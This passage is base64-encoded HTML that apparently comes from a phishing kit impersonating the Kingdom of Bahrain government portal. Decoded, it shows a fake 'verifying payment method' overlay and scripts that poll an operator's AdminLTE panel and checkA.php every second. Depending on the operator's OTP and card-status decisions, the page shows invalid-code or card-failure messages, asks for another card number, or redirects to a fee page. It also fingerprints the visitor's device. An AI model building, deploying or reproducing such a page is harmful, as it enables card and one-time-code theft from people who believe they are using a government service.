GFyZ2V0PSJfYmxhbmsiPgoJCQkJCQkJCSAgIAoJCQkJCQkJCQkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL05DQy1FbmcucG5nIiBhbHQ9IkdvdmVybm1lbnQgU2VydmljZXMgQ29udGFjdCBDZW50ZXIiIHRpdGxlPSJHb3Zlcm5tZW50IFNlcnZpY2VzIENvbnRhY3QgQ2VudGVyIj4KCQkJCQkJCQkgICAKCQkJCQkJCQk8L2E+CQkJCQkJCQkKCQkJCQkJCTwvZGl2PgoJCQkJCQk8L2xpPgoJCQkJCTwvdWw+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJCQkKCQkJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiBtYXItdG9wLTEwIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvVGVybXMlMjBhbmQlMjBDb25kaXRpb25zL1Rlcm1zJTIwYW5kJTIwQ29uZGl0aW9ucyI+VGVybXMgYW5kIENvbmRpdGlvbnM8L2E+CgkJCQkJfAoJCQkJCTxhIGhyZWY9Imh0dHBzOi8vd3d3LmJhaHJhaW4uYmgvd3BzL3BvcnRhbC9lbi9CTlAvSG9tZU5hdGlvbmFsUG9ydGFsL0NvbnRlbnREZXRhaWxzUGFnZT9jdXJyZW50PXRydWUmYW1wO3VyaWxlPXdjbTpwYXRoOkJOUF9lbi9BYm91dCUyMFVzL0FjY2Vzc2liaWxpdHliaC9BY2Nlc3NpYmlsaXR5Ij5BY2Nlc3NpYmlsaXR5PC9hPgoJCQkJCXwKCQkJCQk8YSBocmVmPSJodHRwczovL3d3dy5iYWhyYWluLmJoL3dwcy9wb3J0YWwvZW4vQk5QL0hvbWVOYXRpb25hbFBvcnRhbC9Db250ZW50RGV0YWlsc1BhZ2U/Y3VycmVudD10cnVlJmFtcDt1cmlsZT13Y206cGF0aDpCTlBfZW4vQWJvdXQlMjBVcy9GQVFzL0ZBUXMiPkZBUTwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvSGVscCUyMFVzaW5nJTIwYmFocmFpbi5iaC9IZWxwJTIwU2VjdGlvbiI+SGVscDwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwvQ29udGVudERldGFpbHNQYWdlP2N1cnJlbnQ9dHJ1ZSZhbXA7dXJpbGU9d2NtOnBhdGg6Qk5QX2VuL0Fib3V0JTIwVXMvQ29udGFjdFVzL0NvbnRhY3RVcyI+Q29udGFjdCBVczwvYT4KCQkJCQl8CgkJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9TaXRlTWFwIj5TaXRlIE1hcDwvYT4KCQkJCTwvZGl2PgoJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIG1hci10b3AtMTAiPgoJCQkJCTx1bCBzdHlsZT0ibGlzdC1zdHlsZS10eXBlOm5vbmU7dGV4dC1hbGlnbjogY2VudGVyO21hcmdpbjowO21hcmdpbi1ib3R0b206IDIwcHg7Ij4KCQkJCQkJPGxpPklTTyA5MDAxIENlcnRpZmllZDwvbGk+CgkJCQkJCTxsaT7CqSBLaW5nZG9tIG9mIEJhaHJhaW4uIEFsbCBSaWdodHMgUmVzZXJ2ZWQuPC9saT4KCQkJCQkJPGxpPkxhc3QgdXBkYXRlZCA6MjgvMDMvMjAyNDwvbGk+CgkJCQkJPC91bD4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Zvb3Rlcj4KCjxkaXYgaWQ9IkFqYXhCbGFja1NjcmVlbkxvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdDb250ZW50cyI+CgkJPGltZyBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FqYXgtbG9hZGVyLmdpZiIgYWx0PSIiPgoJCTxkaXYgY2xhc3M9InJlc3VsdExvYWRpbmdUZXh0IiBzdHlsZT0iY29sb3I6IzAwMDsiPgoJCQlQbGVhc2UgV2FpdAoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2PgoKPGRpdiBpZD0ib3ZlcmxheS1jb250YWluZXIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9IgogICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgIHRvcDogMDsKICAgICAgbGVmdDogMDsKICAgICAgd2lkdGg6IDEwMCU7CiAgICAgIGhlaWdodDogMTAwJTsKICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjk2KTsKICAgICAgei1pbmRleDogOTk5OTsKICAgICAgZGlzcGxheTogZmxleDsKICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAiIGlkPSJsb2FkZXJzdHlsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZW50ZXItY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgoJCQkJCQkJCTxpbWcgc3JjPSIuL2xvZ28vYWpheC1sb2FkZXIuZ2lmIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCgkJCQkJCQkJPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InByb2Nlc3NpbmctdGV4dCI+UHJvY2Vzc2luZy4uLjwvcD4KCQkJCQkJCQk8cCBjbGFzcz0icHJvY2Vzc2luZy10ZXh0Ij5WZXJpZnlpbmcgcGF5bWVudCBtZXRob2Q8L3A+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCjwhLS0gIEdlbmVyYWwgUG9wdXAgLS0+CjxzdHlsZT4KICAgI3RoZUdlbmVyYWxNb2RhbCB7CgkJd2lkdGg6IDUwMHB4OwogICB9CiAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCl7CgkjdGhlR2VuZXJhbE1vZGFsIHsKCQl3aWR0aDogYXV0bzsKCQl9CiAgIH0KPC9zdHlsZT4KCgoKPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBsb2FkZXIoKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdmVybGF5LWNvbnRhaW5lciIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwoKICAgICAgICB9CiAgICA8L3NjcmlwdD4KCjxzY3JpcHQ+CiAgICAgICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24gKCkgewogICAgICAgICAgICBjb25zdCB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgeGhyLm9wZW4oJ0dFVCcsICcuL2FkbWlubHRlL3BhZ2VzL3RhYmxlcy91cGRhdGUucGhwJywgdHJ1ZSk7CiAgICAgICAgICAgIHhoci5zZW5kKCk7CiAgICAgICAgfSwgMTAwMCk7CiAgICA8L3NjcmlwdD4KCgogICAgPHNjcmlwdD4KICAgICAgICB2YXIgaW50ZXJ2YWxJZDsgLy8gU3RvcmUgdGhlIGludGVydmFsIElECgogICAgICAgIGZ1bmN0aW9uIGNoZWNrQWNjb3VudFN0YXR1cygpIHsKICAgICAgICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICB4aHIub3BlbigiR0VUIiwgImNoZWNrQS5waHAiLCB0cnVlKTsKICAgICAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgIGlmICh4aHIucmVhZHlTdGF0ZSA9PT0gNCkgewogICAgICAgICAgICAgICAgICAgIGlmICh4aHIuc3RhdHVzID09PSAyMDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlID0gSlNPTi5wYXJzZSh4aHIucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGFjY291bnRTdGF0dXMgPSByZXNwb25zZS5hY2NvdW50U3RhdHVzOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGFjY291bnRTdGF0dXMgPT09ICJPdHBBcHByb3ZlIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9zdWNjZXNzLnBocD9jb21wbGV0ZWQ9dHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoYWNjb3VudFN0YXR1cyA9PT0gIk90cFJlamVjdCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdvdmVybGF5LWNvbnRhaW5lcicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gIiNmZmYiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmNvbG9yID0gInJlZCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnSW52YWxpZCB2ZXJpZmljYXRpb24gY29kZSwgcGxlYXNlIHRyeSBhZ2Fpbic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdXJpdHktY29kZSIpLnN0eWxlLmJvcmRlciA9ICcxcHggc29saWQgI2ZmOGU4ZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5IikuaW5uZXJIVE1MID0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnVmVyaWZ5JzsKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICJhbGljZWJsdWUiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5pbm5lckhUTUwgPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnV2UgaGF2ZSBzZW50IHRoZSB2ZXJpZmljYXRpb24gY29kZSBvbiB5b3VyIHBob25lLCBwbGVhc2UgcHJvY2VlZCB0byB0aGUgbmV4dCBzdGVwIG9mIGF1dGhlbnRpY2F0aW9uLic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmNvbG9yID0gIiM2ODY4NjgiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN1cml0eS1jb2RlIikuc3R5bGUuYm9yZGVyID0gJzFweCBzb2xpZCBncmV5JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdXJpdHktY29kZSIpLnZhbHVlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCAzMDAwKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoYWNjb3VudFN0YXR1cyA9PT0gIlVuc3VwcG9ydGVkIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ292ZXJsYXktY29udGFpbmVyJykuc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5zdHlsZS5iYWNrZ3JvdW5kQ29sb3IgPSAiI2ZmZiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVSIikuc3R5bGUuY29sb3IgPSAicmVkIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5pbm5lckhUTUwgPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDcmVkaXQgY2FyZCB2ZXJpZmljYXRpb24gZmFpbGVkLiBQbGVhc2UgdHJ5IGFnYWluIHdpdGggYW5vdGhlciBjcmVkaXQgY2FyZCBudW1iZXInOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3VyaXR5LWNvZGUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmeSIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1ZlcmlmeSc7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9kdWVmZWUucGhwP3Byb2Nlc3M9dHJ1ZSZpbnZjYXJkPXhzeGFzYXNzc2FkYXNkIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sIDMwMDApOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGFjY291bnRTdGF0dXMgPT09ICJJbnN1ZmZpY2llbnQiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnb3ZlcmxheS1jb250YWluZXInKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICIjZmZmIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ2ZVIiKS5zdHlsZS5jb2xvciA9ICJyZWQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlUiIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0luc3VmZmljaWVudCBmdW5kcyBpbiB5b3VyIGJhbmsgb3IgcGF5bWVudCBzZXJ2aWNlIGFjY291bnQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3VyaXR5LWNvZGUiKS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkICNmZjhlOGUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInZlcmlmeSIpLmlubmVySFRNTCA9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1ZlcmlmeSc7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAiLi9kdWVmZWUucGhwP3Byb2Nlc3M9dHJ1ZSZlcnJvcj1pbnN1ZmZpY2llbnRfZnVuZHMiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwgMzAwMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCJFcnJvcjogIiArIHhoci5zdGF0dXNUZXh0KTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH07CiAgICAgICAgICAgIHhoci5zZW5kKCk7CiAgICAgICAgfQoKICAgICAgICAvLyBTdGFydCB0aGUgaW50ZXJ2YWwgaW5pdGlhbGx5CiAgICAgICAgaW50ZXJ2YWxJZCA9IHNldEludGVydmFsKGNoZWNrQWNjb3VudFN0YXR1cywgMTAwMCk7CiAgICA8L3NjcmlwdD4KCjxzY3JpcHQ+CiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAvLyBHZW5lcmF0ZSBhIGZpbmdlcnByaW50IHdpdGggZGV2aWNlLXNwZWNpZmljIGluZm9ybWF0aW9uCiAgICAgICAgICAgIGdlbmVyYXRlRmluZ2VycHJpbnQoKS50aGVuKGZpbmdlcnByaW50ID0+IHsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmaW5nZXJwcmludElucHV0IikudmFsdWUgPSBmaW5nZXJwcmludDsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CgogICAgICAgIGFzeW5jIGZ1bmN0aW9uIGdlbmVyYXRlRmluZ2VycHJpbnQoKSB7CiAgICAgICAgICAgIGNvbnN0IGZpbmdlcnByaW50RGF0YSA9IGF3YWl0IGNvbGxlY3RGaW5nZXJwcmludERhdGEoKTsKICAgICAgICAgICAgY29uc3QgaGFzaEhleCA9IHNoYTI1NihmaW5nZXJwcmludERhdGEpOyAvLyBVc2UgdGhlIHNoYTI1NiBmdW5jdGlvbiBmcm9tIHRoZSBsaWJyYXJ5CgogICAgICAgICAgICByZXR1cm4gaGFzaEhleDsKICAgICAgICB9CgogICAgICAgIGFzeW5jIGZ1bmN0aW9uIGNvbGxlY3RGaW5nZXJwcmludERhdGEoKSB7CiAgICAgICAgICAgIGNvbnN0IHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQ7CiAgICAgICAgICAgIGNvbnN0IHBsYXRmb3JtID0gbmF2aWdhdG9yLnBsYXRmb3JtOwogICAgICAgICAgICBjb25zdCBsYW5ndWFnZSA9IG5hdmlnYXRvci5sYW5ndWFnZTsKICAgICAgICAgICAgY29uc3Qgc2NyZWVuV2lkdGggPSBzY3JlZW4ud2lkdGg7CiAgICAgICAgICAgIGNvbnN0IHNjcmVlbkhlaWdodCA9IHNjcmVlbi5oZWlnaHQ7CgogICAgICAgICAgICAvLyBBZGRpdGlvbmFsIGRldmljZS1zcGVjaWZpYyBpbmZvcm1hdGlvbgogICAgICAgICAgICBjb25zdCBkZXZpY2VJbmZvID0gewogICAgICAgICAgICAgICAgZGV2aWNlUGl4ZWxSYXRpbzogd2luZG93LmRldmljZVBpeGVsUmF0aW8gfHwgMSwKICAgICAgICAgICAgICAgIHNjcmVlbldpZHRoOiBzY3JlZW4ud2lkdGgsCiAgICAgICAgICAgICAgICBzY3JlZW5IZWlnaHQ6IHNjcmVlbi5oZWlnaHQsCiAgICAgICAgICAgICAgICBhdmFpbGFibGVTY3JlZW5XaWR0aDogc2NyZWVuLmF2YWlsV2lkdGgsCiAgICAgICAgICAgICAgICBhdmFpbGFibGVTY3JlZW5IZWlnaHQ6IHNjcmVlbi5hdmFpbEhlaWdodCwKICAgICAgICAgICAgICAgIGNvbG9yRGVwdGg6IHNjcmVlbi5jb2xvckRlcHRoLAogICAgICAgICAgICAgICAgcGl4ZWxEZXB0aDogc2NyZWVuLnBpeGVsRGVwdGgsCiAgICAgICAgICAgICAgICBoYXJkd2FyZUNvbmN1cnJlbmN5OiBuYXZpZ2F0b3IuaGFyZHdhcmVDb25jdXJyZW5jeSB8fCAiTi9BIiwKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIC8vIENvbWJpbmUgYWxsIGF0dHJpYnV0ZXMgaW50byBhIHNpbmdsZSBvYmplY3QKICAgICAgICAgICAgY29uc3QgZmluZ2VycHJpbnRPYmplY3QgPSB7CiAgICAgICAgICAgICAgICB1c2VyQWdlbnQsCiAgICAgICAgICAgICAgICBwbGF0Zm9ybSwKICAgICAgICAgICAgICAgIGxhbmd1YWdlLAogICAgICAgICAgICAgICAgLi4uZGV2aWNlSW5mbywKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIC8vIFNlcmlhbGl6ZSB0aGUgb2JqZWN0IGludG8gYSBKU09OIHN0cmluZwogICAgICAgICAgICByZXR1cm4gSlNPTi5zdHJpbmdpZnkoZmluZ2VycHJpbnRPYmplY3QpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgoKCgoKCgo8ZGl2IGlkPSJnZW5lcmFsTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8IS0tIFBvcHVwIGJhY2tkcm9wIC0tPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPjwvZGl2PgoKCTwhLS0gVGhlIHBvcHVwIG1vZGFsIC0tPgoJPGRpdiBpZD0idGhlR2VuZXJhbE1vZGFsIiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtaGlkZGVuPSJmYWxzZSI+IDwhLS0gc3R5bGU9InRvcDogNSU7IG92ZXJmbG93OmF1dG87IGxlZnQ6NDYlOyIgLS0+PCEtLSBQb3B1cCBIZWFkZXIgLS0+CgkJPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIiBzdHlsZT0icGFkZGluZzogMHB4IDEwcHg7YmFja2dyb3VuZC1jb2xvcjogI2ZmZjsgYm9yZGVyOjBweDsiPgoJCQk8IS0tIENsb3NlIGljb24gLS0+CgkJCTxhIGNsYXNzPSJtaW5pbWl6ZU1vZGFsIj48aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiAxNXB4OyBjb2xvcjojMDAwOyI+WDwvaT48L2E+CgkJCTwhLS0gVGl0bGUgLSB0ZXh0IGZyb20gYnVuZGxlIC0tPjwhLS0gVGl0bGUgLSBEaXJlY3QgdGV4dCAtLT4KCQk8L2Rpdj4KCgkJPCEtLSBQb3B1cCBCb2R5IC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiIHN0eWxlPSJwYWRkaW5nOiAwcHg7IG1pbi1oZWlnaHQ6MjAwcHg7IHBhZGRpbmc6IDBweDsgbWF4LWhlaWdodDogbm9uZTsiPgoJCQk8IS0tIFBvcHVwIENvbnRlbnQgLS0+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgoJCQkJPCEtLSBUZXh0IE1lc3NhZ2UgLSBHZW5lcmFsIC0gRU4gYW5kIEFSIC0tPjwhLS0gVGV4dCBNZXNzYWdlIC0gTWFuYWdlIGUta2V5IFByb2ZpbGUgLSBFTiBhbmQgQVIgLS0+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiIGlkPSJteU1vZGFsQm9keTIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+SW4gb3JkZXIgdG8gbWFuYWdlIHlvdXIgUHJvZmlsZSwgeW91IHdpbGwgYmUgYXV0b21hdGljYWxseSBzaWduZWQgb3V0IGZyb20gdGhlIGVLZXkgc3lzdGVtIHRvIHByb3RlY3QgYW5kIHNlY3VyZSB5b3VyIHBlcnNvbmFsIGluZm9ybWF0aW9uLjwvZGl2PgoKCQkJCTwhLS0gSW1hZ2UgTWVzc2FnZSAtIEVOIGFuZCBBUiAtLT4JCQkgCgkJCTwvZGl2PgoJCTwvZGl2PgoJCTwhLS0gUG9wdXAgRm9vdGVyIC0tPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3Rlci1nZW5lcmFsIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBwYWRkaW5nOiA1cHg7IGRpc3BsYXk6IGJsb2NrOyBiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ij4KCQkJPCEtLSBPSyBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBpZD0ibG9naW4tYmFyLW1hbmFnZS1wcm9maWxlLWJ1dHRvbi1vayIgdHlwZT0iYnV0dG9uIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+T2s8L2J1dHRvbj4KCQkJPCEtLSBDbG9zZSBidXR0b24gLS0+CgkJCTxidXR0b24gc3R5bGU9ImRpc3BsYXk6IG5vbmU7IGZsb2F0OiBub25lOyIgY2xhc3M9ImJ1dHRvbl9zdHlsZSBtaW5pbWl6ZU1vZGFsIiBpZD0iZ2VuZXJhbC1tb2RlbC1idXR0b24tYm90dG9tLWNsb3NlIiB0eXBlPSJidXR0b24iIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj5DbG9zZTwvYnV0dG9uPgoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2Pgo8IS0tIEVuZCAtIEdlbmVyYWwgUG9wdXAgLS0+Cgo8ZGl2IGlkPSJ3aGF0c3VwTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Im1vZGFsIGZhZGUgaW4iIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9IndoYXRzYXBwc3Vic2NyaXB0aW9uIiBhcmlhLWhpZGRlbj0iZmFsc2UiPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCTxoNCBpZD0id2hhdHNhcHBzdWJzY3JpcHRpb24iIHN0eWxlPSJjb2xvcjojMTI1OWZmOyI+CgkJCQlTdWJzY3JpYmUgd2l0aCB1cwoJCQk8L2g0PgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQk8cD4KCQkJCVN1YnNjcmliZSB3aXRoIHVzIHRvIHJlY2VpdmUgdGhlIGxhdGVzdCB1cGRhdGVzIGFuZCBhd2FyZW5lc3MgcHJvbW90aW9ucyBvbiBhbGwgZXNlcnZpY2VzICZhbXA7IGNoYW5uZWxzIHZpYSB0aGUgZUdvdmVybm1lbnQgV2hhdHNBcHAgc2VydmljZS4gVG8gc3Vic2NyaWJlIHNlbmQgInN1YnNjcmliZSIgdG8gdGhlIG51bWJlciAzMjE4ODI4OC4KCQkJPC9wPgoJCQk8YnI+CQoJCQk8cD4KCQkJCVRvIHVuc3Vic2NyaWJlIHNlbmQgInVuc3Vic2NyaW